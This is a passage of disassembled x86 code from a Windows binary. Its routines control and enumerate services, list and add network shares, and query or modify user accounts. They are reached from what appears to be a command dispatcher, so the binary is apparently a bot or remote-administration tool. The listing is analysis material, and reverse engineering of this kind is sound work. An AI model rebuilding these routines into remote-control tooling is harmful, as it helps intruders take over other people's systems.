sub_41801E	proc near		; CODE XREF: seg000:00408647p
					; seg000:0040DE91p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		call	ds:dword_4F1340	; GetTickCount
		push	eax
		call	sub_41DB90
		pop	ecx
		call	sub_41DBA0
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_4]
		fild	[ebp+var_4]
		sub	eax, esi
		mov	[ebp+arg_4], eax
		fimul	[ebp+arg_4]
		fmul	ds:dbl_4394C8
		call	sub_41F33C
		sub	esi, eax
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41801E	endp


; =============== S U B	R O U T	I N E =======================================



sub_41805B	proc near		; CODE XREF: seg000:00404A41p
					; seg000:00404AA2p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		test	edi, edi
		jz	short loc_4180C0
		lea	esi, [eax+eax*2]
		push	0
		shl	esi, 2
		push	0
		push	ds:dword_44DB08[esi]
		push	edi
		push	eax
		call	sub_4180E2
		add	esp, 14h
		test	eax, eax
		jnz	short loc_4180A3
		push	edi
		push	ds:off_44DB04[esi]
		mov	esi, offset dword_4EE59C
		push	offset unk_44DBC8
		push	esi
		call	sub_41D260
		add	esp, 10h
		jmp	short loc_4180DD
; ---------------------------------------------------------------------------


loc_4180A3:				; CODE XREF: sub_41805B+2Aj
		push	eax
		call	sub_418184
		push	eax
		push	edi
		mov	esi, offset dword_4EE59C
		push	offset unk_44DBFC
		push	esi
		call	sub_41D260
		add	esp, 14h
		jmp	short loc_4180DD
; ---------------------------------------------------------------------------


loc_4180C0:				; CODE XREF: sub_41805B+Cj
		lea	eax, [eax+eax*2]
		mov	esi, offset dword_4EE59C
		push	ds:off_44DB00[eax*4]
		push	offset unk_44DC40
		push	esi
		call	sub_41D260
		add	esp, 0Ch


loc_4180DD:				; CODE XREF: sub_41805B+46j
					; sub_41805B+63j
		mov	eax, esi
		pop	edi
		pop	esi
		retn
sub_41805B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4180E2	proc near		; CODE XREF: sub_41805B+20p

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		call	ds:dword_4514E8
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_418109
		call	ds:dword_4F1310	; RtlGetLastWin32Error
		mov	ebx, eax
		jmp	short loc_41817E
; ---------------------------------------------------------------------------


loc_418109:				; CODE XREF: sub_4180E2+1Bj
		push	esi
		push	0F01FFh
		push	[ebp+arg_4]
		push	edi
		call	ds:dword_4513D4
		mov	esi, eax
		cmp	esi, ebx
		jnz	short loc_418129
		call	ds:dword_4F1310	; RtlGetLastWin32Error
		mov	ebx, eax
		jmp	short loc_418176
; ---------------------------------------------------------------------------


loc_418129:				; CODE XREF: sub_4180E2+3Bj
		mov	eax, [ebp+arg_0]
		cmp	eax, 1
		jz	short loc_41815C
		cmp	eax, 3
		jz	short loc_41814D
		jle	short loc_41816F
		cmp	eax, 6
		jg	short loc_41816F
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+arg_8]
		push	esi
		call	ds:dword_451440
		jmp	short loc_418163
; ---------------------------------------------------------------------------


loc_41814D:				; CODE XREF: sub_4180E2+52j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	esi
		call	ds:dword_4513DC
		jmp	short loc_418163
; ---------------------------------------------------------------------------


loc_41815C:				; CODE XREF: sub_4180E2+4Dj
		push	esi
		call	ds:dword_451444


loc_418163:				; CODE XREF: sub_4180E2+69j
					; sub_4180E2+78j
		test	eax, eax
		jnz	short loc_41816F
		call	ds:dword_4F1310	; RtlGetLastWin32Error
		mov	ebx, eax


loc_41816F:				; CODE XREF: sub_4180E2+54j
					; sub_4180E2+59j ...
		push	esi
		call	ds:dword_4513F0


loc_418176:				; CODE XREF: sub_4180E2+45j
		push	edi
		call	ds:dword_4513F0
		pop	esi


loc_41817E:				; CODE XREF: sub_4180E2+25j
		mov	eax, ebx
		pop	edi
		pop	ebx
		leave
		retn
sub_4180E2	endp


; =============== S U B	R O U T	I N E =======================================



sub_418184	proc near		; CODE XREF: sub_41805B+49p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 420h
		cmp	eax, ecx
		ja	loc_418239
		jz	loc_418232
		add	ecx, 0FFFFFFFBh
		cmp	eax, ecx
		ja	short loc_4181FC
		jz	short loc_4181F2
		mov	ecx, eax
		sub	ecx, 3
		jz	short loc_4181E8
		dec	ecx
		dec	ecx
		jz	short loc_4181DE
		dec	ecx
		jz	short loc_4181D4
		sub	ecx, 51h
		jz	short loc_4181CA
		sub	ecx, 24h
		jnz	loc_4182AF	; default
					; jumptable 00418256 cases 1,5,6,8,9,12,13,15,16
		push	offset aTheSpecifiedSe ; "The specified	service	name is	invalid."
		jmp	loc_4182A1
; ---------------------------------------------------------------------------


loc_4181CA:				; CODE XREF: sub_418184+31j
		push	offset aTheRequestedCo ; "The requested	control	code is	undefined"...
		jmp	loc_4182A1
; ---------------------------------------------------------------------------


loc_4181D4:				; CODE XREF: sub_418184+2Cj
		push	offset aTheHandleIsInv ; "The handle is	invalid."
		jmp	loc_4182A1
; ---------------------------------------------------------------------------


loc_4181DE:				; CODE XREF: sub_418184+29j
		push	offset aTheHandleDoesN ; "The handle does not have the required	a"...
		jmp	loc_4182A1
; ---------------------------------------------------------------------------


loc_4181E8:				; CODE XREF: sub_418184+25j
		push	offset aTheServiceBina ; "The service binary file could	not be fo"...
		jmp	loc_4182A1
; ---------------------------------------------------------------------------


loc_4181F2:				; CODE XREF: sub_418184+1Ej
		push	offset aTheServiceCann ; "The service cannot be	stopped	because	o"...
		jmp	loc_4182A1
; ---------------------------------------------------------------------------


loc_4181FC:				; CODE XREF: sub_418184+1Cj
		mov	ecx, eax
		sub	ecx, 41Ch
		jz	short loc_41822B
		dec	ecx
		jz	short loc_418224
		dec	ecx
		jz	short loc_41821D
		dec	ecx
		jnz	loc_4182AF	; default
					; jumptable 00418256 cases 1,5,6,8,9,12,13,15,16
		push	offset aTheDatabaseIsL ; "The database is locked."
		jmp	loc_4182A1
; ---------------------------------------------------------------------------


loc_41821D:				; CODE XREF: sub_418184+86j
		push	offset aAThreadCouldNo ; "A thread could not be	created	for the	s"...
		jmp	short loc_4182A1
; ---------------------------------------------------------------------------


loc_418224:				; CODE XREF: sub_418184+83j
		push	offset aTheProcessForT ; "The process for the service was started"...
		jmp	short loc_4182A1
; ---------------------------------------------------------------------------


loc_41822B:				; CODE XREF: sub_418184+80j
		push	offset aTheRequested_0 ; "The requested	control	code is	not valid"...
		jmp	short loc_4182A1
; ---------------------------------------------------------------------------


loc_418232:				; CODE XREF: sub_418184+11j
		push	offset aAnInstanceOfTh ; "An instance of the service is	already	r"...
		jmp	short loc_4182A1
; ---------------------------------------------------------------------------


loc_418239:				; CODE XREF: sub_418184+Bj
		mov	ecx, 45Bh
		cmp	eax, ecx
		ja	short loc_4182AF ; default
					; jumptable 00418256 cases 1,5,6,8,9,12,13,15,16
		jz	short loc_41829C
		lea	ecx, [eax-422h]
		cmp	ecx, 11h	; switch 18 cases
		ja	short loc_4182AF ; default
					; jumptable 00418256 cases 1,5,6,8,9,12,13,15,16
		movzx	ecx, ds:byte_4182F0[ecx]
		jmp	ds:off_4182C8[ecx*4] ; switch jump


loc_41825D:				; DATA XREF: seg000:off_4182C8o
		push	offset aTheSpecifiedDa ; jumptable 00418256 case 7
		jmp	short loc_4182A1
; ---------------------------------------------------------------------------


loc_418264:				; CODE XREF: sub_418184+D2j
					; DATA XREF: seg000:off_4182C8o
		push	offset aTheServiceDepe ; jumptable 00418256 case 17
		jmp	short loc_4182A1
; ---------------------------------------------------------------------------


loc_41826B:				; CODE XREF: sub_418184+D2j
					; DATA XREF: seg000:off_4182C8o
		push	offset aTheServiceDe_0 ; jumptable 00418256 case 10
		jmp	short loc_4182A1
; ---------------------------------------------------------------------------


loc_418272:				; CODE XREF: sub_418184+D2j
					; DATA XREF: seg000:off_4182C8o
		push	offset aTheServiceHasB ; jumptable 00418256 case 0
		jmp	short loc_4182A1
; ---------------------------------------------------------------------------


loc_418279:				; CODE XREF: sub_418184+D2j
					; DATA XREF: seg000:off_4182C8o
		push	offset aTheSpecified_0 ; jumptable 00418256 case 2
		jmp	short loc_4182A1
; ---------------------------------------------------------------------------


loc_418280:				; CODE XREF: sub_418184+D2j
					; DATA XREF: seg000:off_4182C8o
		push	offset aTheServiceCoul ; jumptable 00418256 case 11
		jmp	short loc_4182A1
; ---------------------------------------------------------------------------


loc_418287:				; CODE XREF: sub_418184+D2j
					; DATA XREF: seg000:off_4182C8o
		push	offset aTheServiceHa_0 ; jumptable 00418256 case 14
		jmp	short loc_4182A1
; ---------------------------------------------------------------------------


loc_41828E:				; CODE XREF: sub_418184+D2j
					; DATA XREF: seg000:off_4182C8o
		push	offset aTheRequested_1 ; jumptable 00418256 case 3
		jmp	short loc_4182A1
; ---------------------------------------------------------------------------


loc_418295:				; CODE XREF: sub_418184+D2j
					; DATA XREF: seg000:off_4182C8o
		push	offset aTheServiceHasN ; jumptable 00418256 case 4
		jmp	short loc_4182A1
; ---------------------------------------------------------------------------


loc_41829C:				; CODE XREF: sub_418184+BEj
		push	offset aTheSystemIsShu ; "The system is	shutting down."


loc_4182A1:				; CODE XREF: sub_418184+41j
					; sub_418184+4Bj ...
		push	offset dword_4EDEDC
		call	sub_41D260
		pop	ecx
		pop	ecx
		jmp	short loc_4182C2
; ---------------------------------------------------------------------------


loc_4182AF:				; CODE XREF: sub_418184+36j
					; sub_418184+89j ...
		push	eax		; default
					; jumptable 00418256 cases 1,5,6,8,9,12,13,15,16
		push	offset aAnUnknownError ; "An unknown error occurred: <%ld>"
		push	offset dword_4EDEDC
		call	sub_41D260
		add	esp, 0Ch


loc_4182C2:				; CODE XREF: sub_418184+129j
		mov	eax, offset dword_4EDEDC
		retn
sub_418184	endp

; ---------------------------------------------------------------------------
off_4182C8	dd offset loc_418272	; DATA XREF: sub_418184+D2r
		dd offset loc_418279	; jump table for switch	statement
		dd offset loc_41828E
		dd offset loc_418295
		dd offset loc_41825D
		dd offset loc_41826B
		dd offset loc_418280
		dd offset loc_418287
		dd offset loc_418264
		dd offset loc_4182AF
byte_4182F0	db	0,     9,     1,     2 ; DATA XREF: sub_418184+CBr
		db	3,     9,     9,     4 ; indirect table	for switch statement
		db	9,     9,     5,     6
		db	9,     9,     7,     9
		db	9,     8

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418302	proc near		; CODE XREF: seg000:00404A6Cp

var_38C		= byte ptr -38Ch
var_18C		= byte ptr -18Ch
var_188		= byte ptr -188h
var_24		= byte ptr -24h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 38Ch
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		mov	[ebp+var_8], ebx
		call	ds:dword_4514E8
		push	ebx
		mov	[ebp+var_C], eax
		push	[ebp+arg_8]
		push	offset aTheFollowingWi ; "The following	Windows	services are regi"...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40145D
		add	esp, 14h


loc_41833A:				; CODE XREF: sub_418302+120j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_18C]
		push	168h
		push	eax
		push	3
		push	30h
		push	[ebp+var_C]
		call	ds:dword_4514B4
		test	eax, eax
		jnz	short loc_418374
		call	ds:dword_4F1310	; RtlGetLastWin32Error
		cmp	eax, 0EAh
		jnz	loc_418428


loc_418374:				; CODE XREF: sub_418302+5Fj
		xor	edi, edi
		cmp	[ebp+var_4], ebx
		jle	loc_41841F
		lea	esi, [ebp+var_188]


loc_418385:				; CODE XREF: sub_418302+117j
		mov	eax, [esi+8]
		dec	eax
		jz	short loc_4183CE
		dec	eax
		jz	short loc_4183C7
		dec	eax
		jz	short loc_4183C0
		dec	eax
		jz	short loc_4183B9
		dec	eax
		jz	short loc_4183B2
		dec	eax
		jz	short loc_4183AB
		dec	eax
		jz	short loc_4183A4
		push	offset aUnknown_1 ; "	 Unknown"
		jmp	short loc_4183D3
; ---------------------------------------------------------------------------


loc_4183A4:				; CODE XREF: sub_418302+99j
		push	offset aPaused_0 ; "	 Paused"
		jmp	short loc_4183D3
; ---------------------------------------------------------------------------


loc_4183AB:				; CODE XREF: sub_418302+96j
		push	offset aPausing	; "    Pausing"
		jmp	short loc_4183D3
; ---------------------------------------------------------------------------


loc_4183B2:				; CODE XREF: sub_418302+93j
		push	offset aContinuing ; " Continuing"
		jmp	short loc_4183D3
; ---------------------------------------------------------------------------


loc_4183B9:				; CODE XREF: sub_418302+90j
		push	offset aRunning	; "    Running"
		jmp	short loc_4183D3
; ---------------------------------------------------------------------------


loc_4183C0:				; CODE XREF: sub_418302+8Dj
		push	offset aStoping	; "    Stoping"
		jmp	short loc_4183D3
; ---------------------------------------------------------------------------


loc_4183C7:				; CODE XREF: sub_418302+8Aj
		push	offset aStarting ; "   Starting"
		jmp	short loc_4183D3
; ---------------------------------------------------------------------------


loc_4183CE:				; CODE XREF: sub_418302+87j
		push	offset aStopped	; "    Stopped"


loc_4183D3:				; CODE XREF: sub_418302+A0j
					; sub_418302+A7j ...
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_41D260
		pop	ecx
		lea	eax, [ebp+var_20]
		pop	ecx
		push	dword ptr [esi]
		push	dword ptr [esi-4]
		push	eax
		lea	eax, [ebp+var_38C]
		push	offset aSSS_2	; "%s: %s (%s)"
		push	eax
		call	sub_41D260
		push	1
		lea	eax, [ebp+var_38C]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40145D
		add	esp, 28h
		inc	edi
		add	esi, 24h
		cmp	edi, [ebp+var_4]
		jl	loc_418385


loc_41841F:				; CODE XREF: sub_418302+77j
		cmp	[ebp+var_8], ebx
		jnz	loc_41833A


loc_418428:				; CODE XREF: sub_418302+6Cj
		push	[ebp+var_C]
		call	ds:dword_4513F0
		xor	eax, eax
		pop	edi
		cmp	eax, [ebp+var_4]
		pop	esi
		pop	ebx
		sbb	eax, eax
		neg	eax
		leave
		retn
sub_418302	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41843F	proc near		; CODE XREF: seg000:00404B45p
					; seg000:00404B5Dp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		test	edi, edi
		jz	loc_4184D8
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, 0
		jz	short loc_418468
		dec	eax
		jnz	short loc_4184B8
		push	edi
		push	0
		call	sub_418611
		pop	ecx
		pop	ecx
		jmp	short loc_4184B4
; ---------------------------------------------------------------------------


loc_418468:				; CODE XREF: sub_41843F+18j
		cmp	[ebp+arg_8], 0
		jnz	short loc_4184A6
		push	24h
		push	edi
		call	sub_41E650
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4184A6
		push	57h
		pop	eax


loc_41847F:				; CODE XREF: sub_41843F+77j
		push	eax
		call	sub_418DE9
		push	eax
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset dword_4EE198
		push	ds:off_44DB00[eax*4]
		push	offset unk_44E1E8
		push	esi
		call	sub_41D260
		add	esp, 18h
		jmp	short loc_4184F8
; ---------------------------------------------------------------------------


loc_4184A6:				; CODE XREF: sub_41843F+2Dj
					; sub_41843F+3Bj
		push	[ebp+arg_8]
		push	edi
		push	0
		call	sub_418565
		add	esp, 0Ch


loc_4184B4:				; CODE XREF: sub_41843F+27j
		test	eax, eax
		jnz	short loc_41847F


loc_4184B8:				; CODE XREF: sub_41843F+1Bj
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset dword_4EE198
		push	ds:off_44DB04[eax*4]
		push	offset dword_44E1B4
		push	esi
		call	sub_41D260
		add	esp, 10h
		jmp	short loc_4184F8
; ---------------------------------------------------------------------------


loc_4184D8:				; CODE XREF: sub_41843F+Aj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_4EE198
		lea	eax, [eax+eax*2]
		push	ds:off_44DB00[eax*4]
		push	offset unk_44E22C
		push	esi
		call	sub_41D260
		add	esp, 0Ch


loc_4184F8:				; CODE XREF: sub_41843F+65j
					; sub_41843F+97j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_41843F	endp


; =============== S U B	R O U T	I N E =======================================



sub_4184FE	proc near		; CODE XREF: seg000:00419A5Fp

arg_0		= dword	ptr  4
arg_C		= dword	ptr  10h

		push	esi
		xor	esi, esi
		cmp	[esp+4+arg_0], esi
		jnz	short loc_41850B
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41850B:				; CODE XREF: sub_4184FE+7j
		push	ebx
		push	ebp
		push	edi
		push	esi
		push	esi
		push	esi
		mov	edi, ds:dword_4F1384
		push	esi
		push	0FFFFFFFFh
		mov	ebx, 400h
		push	[esp+24h+arg_0]
		push	ebx
		push	esi
		call	edi ; dword_4F1384
		test	ds:byte_4EE398,	1
		mov	ebp, eax
		jnz	short loc_418548
		or	ds:byte_4EE398,	1
		lea	eax, [ebp+1]
		push	eax
		call	sub_41FD90
		pop	ecx
		mov	ds:dword_4EE138, eax


loc_418548:				; CODE XREF: sub_4184FE+32j
		push	esi
		push	esi
		push	ebp
		push	ds:dword_4EE138
		push	0FFFFFFFFh
		push	[esp+18h+arg_C]
		push	ebx
		push	esi
		call	edi ; dword_4F1384
		mov	eax, ds:dword_4EE138
		pop	edi
		pop	ebp
		pop	ebx
		pop	esi
		retn
sub_4184FE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418565	proc near		; CODE XREF: sub_41843F+6Dp
					; seg000:00419CC2p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	edi
		push	[ebp+arg_0]
		call	sub_4185D0
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_4185D0
		push	24h
		mov	[ebp+var_20], eax
		push	[ebp+arg_4]
		call	sub_41E650
		push	[ebp+arg_8]
		mov	[ebp+var_14], 7Fh
		neg	eax
		sbb	eax, eax
		and	[ebp+var_18], 0
		or	[ebp+var_10], 0FFFFFFFFh
		and	[ebp+var_C], 0
		and	eax, 80000000h
		mov	[ebp+var_1C], eax
		call	sub_4185D0
		add	esp, 14h
		mov	[ebp+var_8], eax
		and	[ebp+var_4], 0
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		push	2
		push	edi
		call	ds:dword_4513EC
		pop	edi
		leave
		retn
sub_418565	endp


; =============== S U B	R O U T	I N E =======================================



sub_4185D0	proc near		; CODE XREF: sub_418565+Ap
					; sub_418565+14p ...

arg_0		= dword	ptr  4

		push	ebp
		mov	ebp, [esp+4+arg_0]
		xor	eax, eax
		cmp	ebp, eax
		jnz	short loc_4185DD
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_4185DD:				; CODE XREF: sub_4185D0+9j
		push	ebx
		push	esi
		mov	esi, ds:dword_4F1370
		push	edi
		push	eax
		push	eax
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	eax
		call	esi ; dword_4F1370
		mov	edi, eax
		lea	eax, [edi+edi+2]
		push	eax
		call	sub_41FD90
		pop	ecx
		mov	ebx, eax
		push	edi
		push	ebx
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	0
		call	esi ; dword_4F1370
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4185D0	endp


; =============== S U B	R O U T	I N E =======================================



sub_418611	proc near		; CODE XREF: sub_41843F+20p
					; seg000:004199D5p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_4185D0
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_4185D0
		pop	ecx
		pop	ecx
		push	0
		push	eax
		push	esi
		call	ds:dword_4513C4
		pop	esi
		retn
sub_418611	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418634	proc near		; CODE XREF: seg000:00404B89p

var_210		= byte ptr -210h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_C]
		call	sub_4185D0
		xor	esi, esi
		mov	[ebp+var_C], eax
		push	esi
		mov	[ebp+arg_C], esi
		push	[ebp+arg_8]
		mov	[ebp+var_8], esi
		mov	[ebp+var_10], esi
		push	offset aShareNameResou ; "Share	name:	 Resource:		 "...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40145D
		add	esp, 18h


loc_41866D:				; CODE XREF: sub_418634+10Fj
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	[ebp+var_C]
		call	ds:dword_45143C
		mov	ebx, eax
		cmp	ebx, esi
		jz	short loc_4186D0
		cmp	ebx, 0EAh
		jz	short loc_4186D0
		push	ebx
		push	ebx
		call	sub_418DE9
		pop	ecx
		push	eax
		lea	eax, [ebp+var_210]
		push	offset unk_44E2C0
		push	eax
		call	sub_41D260
		push	esi
		lea	eax, [ebp+var_210]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40145D
		add	esp, 24h
		jmp	short loc_41873D
; ---------------------------------------------------------------------------


loc_4186D0:				; CODE XREF: sub_418634+5Dj
					; sub_418634+65j
		push	1
		pop	edi
		cmp	[ebp+arg_C], edi
		jb	short loc_418734
		mov	eax, [ebp+var_4]
		lea	esi, [eax+14h]


loc_4186DE:				; CODE XREF: sub_418634+FCj
		push	dword ptr [esi+10h]
		call	ds:dword_4513E0
		test	eax, eax
		mov	eax, offset aYes ; "Yes"
		jnz	short loc_4186F5
		mov	eax, offset aNo	; "No"


loc_4186F5:				; CODE XREF: sub_418634+BAj
		push	eax
		lea	eax, [ebp+var_210]
		push	dword ptr [esi]
		push	dword ptr [esi+4]
		push	dword ptr [esi-14h]
		push	offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s"
		push	eax
		call	sub_41D260
		push	1
		lea	eax, [ebp+var_210]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40145D
		add	esp, 2Ch
		add	esi, 28h
		inc	edi
		cmp	edi, [ebp+arg_C]
		jbe	short loc_4186DE
		xor	esi, esi


loc_418734:				; CODE XREF: sub_418634+A2j
		push	[ebp+var_4]
		call	ds:dword_451580


loc_41873D:				; CODE XREF: sub_418634+9Aj
		cmp	ebx, 0EAh
		jz	loc_41866D
		xor	eax, eax
		cmp	ebx, esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_418634	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418755	proc near		; CODE XREF: seg000:00404BDDp
					; seg000:00404C04p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		push	edi
		xor	edi, edi
		cmp	ebx, edi
		jz	loc_4187F9
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, edi
		jz	short loc_418797
		dec	eax
		jz	short loc_41878C
		dec	eax
		jnz	short loc_4187B2
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	ebx
		push	edi
		call	sub_41889B
		add	esp, 14h
		jmp	short loc_4187AE
; ---------------------------------------------------------------------------


loc_41878C:				; CODE XREF: sub_418755+1Dj
		push	ebx
		push	edi
		call	sub_41887A
		pop	ecx
		pop	ecx
		jmp	short loc_4187AE
; ---------------------------------------------------------------------------


loc_418797:				; CODE XREF: sub_418755+1Aj
		cmp	[ebp+arg_8], edi
		jz	short loc_4187AB
		push	[ebp+arg_8]
		push	ebx
		push	edi
		call	sub_418820
		add	esp, 0Ch
		jmp	short loc_4187AE
; ---------------------------------------------------------------------------


loc_4187AB:				; CODE XREF: sub_418755+45j
		push	57h
		pop	eax


loc_4187AE:				; CODE XREF: sub_418755+35j
					; sub_418755+40j ...
		cmp	eax, edi
		jnz	short loc_4187D2


loc_4187B2:				; CODE XREF: sub_418755+20j
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_4EE39C
		push	ds:off_44DB04[eax*4]
		push	offset unk_44E300
		push	esi
		call	sub_41D260
		add	esp, 10h
		jmp	short loc_418819
; ---------------------------------------------------------------------------


loc_4187D2:				; CODE XREF: sub_418755+5Bj
		push	eax
		call	sub_418DE9
		push	eax
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_4EE39C
		push	ds:off_44DB00[eax*4]
		push	offset unk_44E338
		push	esi
		call	sub_41D260
		add	esp, 18h
		jmp	short loc_418819
; ---------------------------------------------------------------------------


loc_4187F9:				; CODE XREF: sub_418755+Dj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_4EE39C
		lea	eax, [eax+eax*2]
		push	ds:off_44DB00[eax*4]
		push	offset unk_44E380
		push	esi
		call	sub_41D260
		add	esp, 0Ch


loc_418819:				; CODE XREF: sub_418755+7Bj
					; sub_418755+A2j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_418755	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418820	proc near		; CODE XREF: sub_418755+4Cp

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		and	[ebp+var_4], 0
		push	edi
		push	[ebp+arg_0]
		call	sub_4185D0
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_4185D0
		push	[ebp+arg_8]
		mov	[ebp+var_24], eax
		call	sub_4185D0
		add	esp, 0Ch
		mov	[ebp+var_20], eax
		and	[ebp+var_14], 0
		and	[ebp+var_10], 0
		push	1
		and	[ebp+var_8], 0
		pop	eax
		lea	ecx, [ebp+var_4]
		push	ecx
		lea	ecx, [ebp+var_24]
		push	ecx
		push	eax
		push	edi
		mov	[ebp+var_18], eax
		mov	[ebp+var_C], 10001h
		call	ds:dword_4513D0
		pop	edi
		leave
		retn
sub_418820	endp


; =============== S U B	R O U T	I N E =======================================



sub_41887A	proc near		; CODE XREF: sub_418755+39p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_4185D0
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_4185D0
		pop	ecx
		pop	ecx
		push	eax
		push	esi
		call	ds:dword_4513C0
		pop	esi
		retn
sub_41887A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41889B	proc near		; CODE XREF: sub_418755+2Dp

var_204		= byte ptr -204h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		and	[ebp+var_4], 0
		push	esi
		push	[ebp+arg_0]
		call	sub_4185D0
		push	[ebp+arg_4]
		mov	esi, eax
		call	sub_4185D0
		pop	ecx
		pop	ecx
		lea	ecx, [ebp+var_4]
		push	ecx
		push	0Bh
		push	eax
		push	esi
		call	ds:dword_451548
		test	eax, eax
		mov	[ebp+arg_0], eax
		jnz	loc_418C28
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	loc_418C63
		push	ebx
		push	edi
		push	dword ptr [eax]
		lea	eax, [ebp+var_204]
		push	offset aAccountS ; "Account: %S"
		push	eax
		call	sub_41D260
		mov	esi, [ebp+arg_10]
